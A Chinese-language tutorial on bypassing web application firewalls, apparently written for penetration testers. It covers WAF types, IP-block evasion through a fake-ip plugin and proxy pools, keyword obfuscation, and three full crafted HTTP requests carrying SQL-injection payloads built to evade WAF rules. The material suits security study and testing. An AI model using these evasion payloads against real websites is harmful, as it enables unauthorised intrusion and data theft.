目录
什么是WAF
定义:web应用防火墙(Web Application Firewall),通过执行一系列针对HTTP/HTTPS的安全策略来防御对web应用的攻击。
WAF的种类
- 源码防护:
程序员在开发时使用过滤函数对恶意代码进行过滤。对于这类的绕过思路主要是大小写替换、编码绕过、截断等方式,只要在代码中找到过滤函数就比较容易绕过。
- 软件WAF:
主要通过访问速度、指纹识别等特征进行拦截,软件WAF侧重拦截WEB漏洞。主要有安全狗、云锁等
- 硬件WAF:
主流防御流量和部分WEB攻击,常见硬件WAF如天融信、启明星辰、深信服、安恒等。
- 云WAF:
如阿里云等。
WAF部署在哪里
在测试的过程中我们要知道WAF一般主要是部署在那个节点,这对我们绕过WAF时有很大帮助。通过下图我们可以大概了解:
绕WAF的理解
在我自己看来,所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行成功的载荷,绕过防护。
那些特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。当我们的程序满足了这一个个的场景,倘若WAF没有考虑到这些场景,我们就可以利用这些特性bypass掉WAF了。
由于各个层面可以利用的特性很多,而且WAF往往要考虑自身的性能等等方面,导致了WAF往往会留下一些软肋。
Bypass WAF 姿势
基于IP封锁
在现实的测试过程中会遇到许多在进行几次操作后被封IP的情况。其主要是:
- 基于http请求头封锁IP
可使用burp suite插件fake-ip进行绕过
- 基于TCP封锁IP
使用IP代理池不断切换真实IP
基于规则问题
根据WAF返回结果
替换关键字:大小写、/**/替换空格、替换语句。
代理模式
使用垃圾数据等高并发流量,导致设备切换Bypass
IPS模式
分片问题:巨大的Content-Length导致设备Bypass、解码较弱。
基于解析差异
- 通过业务特性绕过
GET /index.php?id=’an\d''=' HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
在某些业务中,一些字符会被替换成空(如很多利用json来传递数据的网站很多会把凡斜杠\替换成空,这种则可以利用burpsuit进行fuzzing查找被处理掉的字符),利用这个就可以用来绕过waf:’an\d‘’=‘会变成’and‘’=’,导致waf绕过.
- 特殊字符绕过
GET /index.php?id='a%efnd''=' HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
测试%[80-ff]都可以,具体可以fuzzing来查找
- Mutilpart变量覆盖绕过
POST /index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: multipart/form-data; boundary=--------1099641188
Content-Length: 101
----------1099641188
Content-Disposition: form-data; name=“id;filename=xx”;name=“id”
'and''=‘
----------1099641188--
有些waf检测filename这个属性存在的时候下面的内容则不进行sql注入检测,因此可以构造同名参数前面一个name包含filename这个属性,后面再加一个正常的name属性,但是apache解析的时候会解析后面那个name属性,从而导致waf绕过。
- Mysql特性使用/*!%0a*/绕过
- 通过编码饶过
- 使用截断字符
- 重复变量
- 参数解析差异
- 针对域名的保护
- 对Content-Type不同理解
- 超大数据包
- Post不同解析方式
- 异常数据包
特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。
随着一个个特性的发现,WAF的防护能力在web对抗中逐渐增强,在我看来,当所有的特性场景均被WAF考虑到的时候,势必就会有的新的发现。
因此我们不用担心当所有的特性被WAF考虑到的时候我们无计可施,未知的特性那么多,我们还有很多地方可以去挖掘。
当你发现这些姿势都不好使的时候,你就该去发现一些新的特性了,毕竟设计WAF的选手都是基于目前的认知下去设计的,当新的特性出现的时候,势必又是一波bypass。